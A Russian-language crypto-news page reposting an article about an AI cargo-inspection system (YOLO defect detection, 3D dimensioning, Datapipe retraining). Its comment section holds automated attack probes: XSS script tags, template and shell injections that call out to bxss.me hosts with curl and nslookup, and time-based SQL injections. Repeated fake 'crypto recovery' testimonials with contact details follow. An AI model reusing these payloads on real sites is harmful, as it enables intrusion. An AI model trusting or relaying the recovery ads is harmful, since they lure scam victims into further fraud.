Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

  1. Главная
  2. Новости

ИИ-система инспекции груза: преимущества, вызовы и реализация

В мире логистики и грузоперевозок огромное значение придается сохранности груза.

Склады обязаны обеспечить целостность и сохранность груза во время хранения, так как любые повреждения влекут за собой потерю доверия клиентов и ощутимые штрафы. Эта проблема решается качественной инспекцией груза и ведением отчетности о его состоянии, — процесс, который можно облегчить с помощью искусственного интеллекта.

e81efe6347915815aec7b5121e8d2236.png

Когда заказчик обратился к нам с задачей разработать систему для автоматизации процесса приемки грузов на склад, основными требованиями к системе были:

  • фиксировать поступление грузов на склад;

  • определять тип упаковки;

  • выявлять дефекты и повреждения на поверхности грузов;

  • измерять габариты и вес объектов;

  • подсчитывать количество грузовых мест;

  • вести отчет о принятом грузе и перечне повреждений.

Используя технологии компьютерного зрения и машинного обучения, мы смогли создать систему автоматизированной инспекции груза, соответствующую всем указанным требованиям. И в данной статье мы расскажем о ней подробнее.

Стенд

90ecc893e54d642e4992cb29b6dcf67e.png

Инспекция груза проводится с помощью прямоугольной металлической конструкции, которую мы называем «стенд». На вершине каждой из сторон стенда закреплены камеры, обеспечивающие круговую съемку. Посередине конструкции установлены весы для взвешивания груза.

Когда на склад поступает новый груз, его размещают на весах и взвешивают, пока камеры делают снимки с каждой стороны. На экране стенда отображается информация о статусе выполнения операций системы (например: установка груза, сбор данных, снятие груза с весов).

Для правильной работы системы работник склада должен следовать сигналам на экране. Собранные данные затем сохраняются в системе и связываются с уникальным QR-кодом груза. После сбора и обработки данных груз снимают с платформы весов, и процесс инспекции на этом заканчивается.

0f7bcc0faaeb267b5ebbfe526d2d0191.png

После инспекции в карточке груза будет храниться информация обо всех его внешних дефектах, типе его упаковки, габаритах, весе и количестве грузовых мест в его составе.

26515855cdd7945bd84b3fa2568ed9be.pnga6550248633c202c9e00d08391b6a4f7.png

Разработанная нами система обеспечивает:

  • Круговой обзор (360°) груза: фотофиксация груза с помощью камер.

  • Определение веса: взвешивание каждого груза для точного учета.

  • Нахождение дефектов: система обнаруживает и классифицирует повреждения на упаковке или самом товаре.

  • Определение габаритов: измерение размеров груза (длина, ширина, высота) с точностью до нескольких сантиметров.

  • Определение типа упаковки.

  • Считывание QR-кода, штрих-кода и Data Matrix для уникальной идентификации грузов в любых ERP-системах заказчиков.

  • Расчет количества грузовых мест: определение количества отдельных единиц внутри партии груза.

  • Хранение карточек груза: система автоматически собирает и хранит все данные о грузах в едином формате, что позволяет быстро получить необходимую информацию.

  • Автоматическая генерация отчетов: cистема автоматически формирует подробные отчеты о состоянии каждого груза.

7f9a46f0356d973a2345dce9fd8ba7f7.png

Мы использовали:

  • Label Studio — интерфейс для работы модератора с открытым исходным кодом.

  • Datapipe — ETL с автоматическим трекингом зависимостей данных, с помощью которого производится интеграция новых данных и обучение модели.

  • YOLOv5 – YOLOv8 — модели компьютерного зрения, используемые в проекте для детекции и сегментации.

  • Django Administration — интерфейс администратора с открытым исходным кодом.

Начало: обучение моделей

Главным вызовом в создании нашей системы стала работа с данными. Компания стремительно развивается, устанавливая стенды на складах новых клиентов. С каждым новым клиентом будут появляться новые виды упаковок и дефектов, требующих распознавания. Мы осознавали, что наши модели должны будут становиться «умнее», чтобы выполнять работу правильно. А значит, нам необходима гибкая система, способная адаптироваться к постоянным изменениям, обучаясь на новых данных.

8efd6a4526e6ca7c4b63ba117c3e1e16.png

Для решения этой задачи мы выбрали ETL-библиотеку Datapipe, которая легла в основу нашего пайплайна обучения благодаря своим уникальным возможностям: трекингу зависимостей и инкрементальной обработке данных. С ее помощью мы проводим дообучение наших моделей на новых данных.

Трекинг зависимостей определяет, какие именно данные подверглись изменению, а инкрементальная обработка данных позволяет Datapipe обрабатывать только новые или обновленные данные и тем самым снижает нагрузку на систему и ускоряет работу пайплайна.

d9475cf56c8f4283edc82911afb42e33.png

Инспекция груза: как это работает

d5fc5dc413af3ec44bd5d52049e77171.png

Пайплайн обработки данных системой выглядит так:

  1. Сбор данных: взвешивание и фотосъемка груза.

  2. Изображение груза загружается в пайплайн системы и проходит обработку в двух независимых друг от друга блоках моделей:

    • Сегментация: определение типа упаковки и границ груза.

    • Детекция: поиск дефектов.

  3. Объединение результатов обработки: результаты сегментации и детекции объединяются для получения полной картины состояния груза.

  4. Обработка данных: анализ результатов сегментации и детекции груза для дальнейших расчетов.

  5. 3D-визуализация: система использует снимки груза для построения его трёхмерной модели.

  6. Определения габаритов груза и подсчет грузовых единиц. На основе 3D-модели система рассчитывает размеры груза и количество грузовых единиц.

1. Сбор данных

Когда груз поступает на склад, его идентифицируют путем сканирования QR-кода, и все дальнейшие данные: вес, тип упаковки, габариты, дефекты и так далее, — будут привязаны к этому коду. Так мы контролируем информацию о грузе на каждом этапе его обработки и транспортировки.

После взвешивания и фотосъемки изображения груза поступают в систему и отображаются на экране интерфейса администратора. Изображения обрабатывают двумя независимыми блоками моделей: для сегментации груза и для детекции дефектов.

a7c5c9328ee15b41783ecf1ec6b9a55b.jpeg

2. Сегментация груза

После загрузки изображений в пайплайн системы, их подвергают обработке моделью сегментации, чтобы определить тип упаковки груза: картонные коробки, рулоны, деревянные ящики и так далее, — всё это называется классами упаковки.

Основные классы упаковки делятся на микрокрассы и макроклассы.

Микроклассы упаковки:

  • «Картонные коробки»;

  • «Другое»;

  • «Мешки»;

  • «Без упаковки»;

  • «Деревянные ящики»;

  • «Бочки»;

  • «Рулоны»;

  • «Деревянная обрешетка».

Макроклассы упаковки:

  • «Покрытые пленкой картонные коробки»;

  • «Покрытые пленкой мешки»;

  • «Покрытые пленкой деревянные ящики»;

  • «Покрытые пленкой бочки»;

  • «Покрытые пленкой деревянные обрешетки»;

  • «Покрытые пленкой рулоны».

Посредством сверточных нейронных сетей YOLOv8 разбивает изображение на небольшие участки и обрабатывает их с помощью специальных фильтров. Эти фильтры ищут простые признаки, например края, углы или текстуры, которые могут помочь распознать, что изображено на участке.

После того как сеть проанализировала все участки изображения и выделила важные признаки, она определяет, какие части изображения относятся к разным классам упаковки.

991a85e7c3db76f27a9e66c24707c18b.pngfd3a15a44785e187a4e3f297fb8ee743.png

3. Детекция дефектов

На этапе детекции система ищет дефекты на упаковке, такие как повреждения, разрывы или деформации. Для этого используем технологию компьютерного зрения YOLOv5. Мы обучили модели используя более семи тысяч изображений разных дефектов.

На данный момент система распознает следующие дефекты:

  • «Порвана пленка — дырка»;

  • «Порвана пленка — болтающиеся куски»;

  • «Открыто — щель в грузе»;

  • «Открыто — пленка не закрывает груз сверху»;

  • «Порвано»;

  • «Проткнуто»;

  • «Замятый мешок»;

  • «Замятая коробка»;

  • «Подозрение на недостачу»;

  • «Подозрение на недостачу — нестандартное число грузов в верхнем ряду»;

  • «Сломана паллета»;

  • «Мокро».

Во время обработки изображения YOLOv5 разбивает его на множество небольших участков и для каждого из них определяет:

  • Bounding box (bbox) — координаты границ дефекта на изображении;

  • Class — тип дефекта;

  • Score — вероятность того, что найденный дефект относится именно к этому классу.

Наши модели детекции и сегментации работают независимо друг от друга. Мы знаем, как выглядит упаковка груза и знаем, какие дефекты имеются на грузе. Но мы хотим знать, где именно на поверхности груза расположены дефекты. Для этого система объединяет результаты прогнозов двух моделей, совмещая информацию о классе упаковки с координатами обнаруженных дефектов. То есть координаты дефектов отправляются в координатную систему для дальнейшей обработки и синхронизации с данными сегментации. Сопоставив координаты, система определяет точное расположение дефектов на поверхности груза.

f22f5fcd4b9166a1627554df57088b97.png

4. Определение габаритов груза и количество грузовых единиц

Для определения размеров груза создается 3D-визуализация объекта на основе его изображения. У нас есть изображение после сегментации с размеченным контуром груза (полигоном), а также информация о глубине для каждой точки, то есть о расстоянии от камеры до объекта. Используя эти данные и вектор трансформации, мы можем построить 3D-модель объекта в несколько шагов:

  1. Калибровка камеры. Для начала нам нужно откалибровать камеру. Для этого на стенде устанавливаются ArUco-маркеры с известными 3D-координатами (например, на полу их Z-координата равна нулю). Эти маркеры помогают связать 2D-координаты изображения с реальными координатами в пространстве. Система находит ArUco-маркеры на изображении, определяет их местоположение в координатной системе изображения и использует эти данные для того, чтобы откалибровать камеру.

  2. Преобразование координат. Для каждой точки изображения, где известна глубина, система преобразует 2D-координаты в 3D с помощью вектора трансформации, который был рассчитан при калибровке камеры. Вектор трансформации — это набор параметров, который позволяет преобразовать координаты из системы координат камеры (СК камеры) в мировую систему координат (СК мира). Если глубина некорректна (например, равна 0), точка не используется.

  3. Создание облака точек. После того как все точки на изображении были преобразованы в трёхмерные координаты, они формируют облако точек — набор пространственных координат (X, Y, Z), которые представляют трёхмерную форму груза. Это облако точек отражает внешние контуры объекта и его форму.

730e95173726194dd0b45b3f21ffe116.png

С помощью фильтрации и обработки 3D-облака точек система определяет габариты груза. Сначала она выбирает только часть точек, чтобы облегчить расчеты. Затем удаляет те точки, которые находятся слишком далеко друг от друга или выходят за пределы нужного периметра. После этого система корректирует положение груза, чтобы точно измерить его по осям. В конце она убирает лишние данные и вычисляет размеры по самым крайним точкам.

ed495e443c057b8dc48c47a54ff8b2ba.png

Для подсчета количества грузовых единиц система сравнивает и объединяет данные с нескольких камер. Она анализирует ограничивающие рамки вокруг объектов и отслеживает их движение, чтобы понять, какие объекты на разных изображениях — это один и тот же груз. Таким образом, система точно подсчитывает количество грузов.

5. Контроль качества и дообучение моделей

Сфера логистики и складских услуг постоянно предъявляют новые требования моделям машинного обучения. По мере роста компании растет и число ее клиентов, а вместе с ними и типы упаковок и дефекты, которые нужно распознавать системе. В таких условиях модель, обученная только на старых данных, начинает «теряться», выдавая неточные результаты.

Решением этой проблемы является дообучение модели. То есть готовую модель обучаем на данных о новых видах дефектов или упаковок. Для этого мы используем Datapipe — ETL-библиотеку, с помощью которой система легко и просто обрабатывает новые данные. Благодаря инкрементальной обработке, Datapipe «видит» новые или изменившиеся данные и аккуратно добавляет их в общий массив, не затрагивая незадействованные участки данных. Это всё равно что обновлять коллекцию фотографий, просто добавляя фотографии, вместо того чтобы перефотографировать весь альбом.

Для контроля качества работы нашей системы инспекции мы создали процесс мониторинга и регулярного дообучения моделей. Он состоит из нескольких этапов:

  1. Сбор данных. Наша компания располагает сетью стендов, которые установлены как у клиентов, так и в нашей лаборатории. Эти стенды непрерывно собирают данные для анализа.

  2. Еженедельный анализ. Каждую неделю специалисты просматривают все собранные данные и ищут любые ошибки и отклонения в работе моделей. Это позволяет нам вовремя заметить проблемы и принять меры.

  3. Идентификация ошибок. Во время анализа мы выделяем ошибки, которые могут повлиять на точность моделей. Обычно они делятся на несколько основных типов:

    • Неточные размеры: модель ошибается в определении размеров объектов.

    • Недостаточная детекция дефектов: модель не распознает все возможные дефекты.

    • Ошибки сегментации типов грузов: модель путает разные типы грузов и неправильно их классифицирует.

  4. Маркировка данных. Все найденные ошибки мы отмечаем специальными тегами. Это помогает структурировать данные и подготовить их для дообучения.

  5. Дообучение моделей. После того как все ошибки размечены, мы используем эти данные для дообучения моделей.

1cbc769865a0118962926e1725a942ef.png

Процесс дообучения позволяет адаптировать модель под специфические условия или задачи, которые не были охвачены в исходной обучающей выборке. Например, один из клиентов заказчика использует зеленые транспортировочные паллеты для перевозки грузов. Изначально модель не обучалась находить их, но благодаря системе дообучения это достаточно легкий процесс. Когда мы добавляем эти новые данные, Datapipe автоматически обновляет модель.

656db5731d642425fbf2f9c7c710a4ec.png

  1. Оценка качества. После дообучения модели проходят повторный мониторинг, чтобы оценить улучшения и гарантировать их устойчивость в работе.

Этот циклический процесс помогает поддерживать высокое качество работы моделей и своевременно устранять возникшие проблемы.

6. Метрики качества моделей

Для оценки производительности модели необходимо регулярно анализировать её ключевые метрики. Для этого рассчитывают следующие показатели:

  • Precision и Recall — для оценки точности и полноты детекции объектов.

  • F1-score как гармоническое среднее Precision и Recall показывает, насколько точно и полно модель распознаёт данные. Чем ближе значение к 1, тем лучше работает модель.

  • Взвешенный (weighted) и макро (macro) F1-score — для общей оценки работы модели: взвешенный F1-score учитывает частоту каждого класса, показывая, как модель справляется с каждым из них, а макро F1-score оценивает точность по каждому классу независимо от их частоты.

Для мониторинга метрик мы используем платформу Metabase. Она удобна в использовании и прекрасно подходит, чтобы отслеживать показатели качества работы моделей в динамике.

493b22d2060cb78cf80b9134739163da.pngcffd4202503b4e6b5db3b2a7c2a2b889.png

Обратите внимание на рост графика «зеленые паллеты» после этапа дообучения: показатель F1-score сразу же вырос до 0,7–0,8, что свидетельствует об эффективности подхода и высокой производительности моделей.

Преимущества автоматизированной системы инспекции груза

1. Объективность

Человек субъективен в своих суждениях, а также подвержен таким факторам, как усталость и невнимательность, что влияет на качество проводимой им проверки. ИИ-система применяет единые стандарты и критерии оценки к каждому грузу. Она анализирует груз строго на основе полученных данных и настроенных параметров, тем самым минимизируя риск ошибок или нарушений безопасности.

2. Экономичность

Несмотря на первоначальные вложения в оборудование и настройку автоматизированной системы, в долгосрочной перспективе она оказывается более выгодной, чем использование человеческого труда. Ее внедрение сокращает затраты на обучение персонала, минимизирует ошибки и снижает вероятность простоев из-за человеческого фактора. Также система легко масштабируется.

3. Безопасность

В некоторых отраслях грузы могут содержать опасные материалы, представляющие угрозу для здоровья. Особенно это актуально при работе с химикатами и легко воспламеняющимися веществами. Малейшее повреждение упаковки в таких случаях может привести к серьезным последствиям. Поэтому автоматизированная проверка грузов гораздо безопаснее, чем осмотр вручную.

Заключение

Наша команда успешно справилась с поставленными задачами и создала систему автоматизированной инспекции груза. С помощью компьютерного зрения и машинного обучения наша система собирает все необходимые данные о грузе и формирует отчет о его состоянии. А постоянное дообучение моделей позволяет системе работать стабильно и адаптироваться под новые требования заказчиков.

Благодарим команду разработчиков, воплотивших проект в реальность:

  • Андрей Татаринов, СЕО и СТО epoch8.co и AGIMA.AI.

  • Инженерная команда: Арсений Корягин, Александр Козлов, Дмитрий Лесничий, Тимур Шейдаев, Ренат Шакиров, Лев Евтодиенко, Александр Коротаевский.

Что еще почитать

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

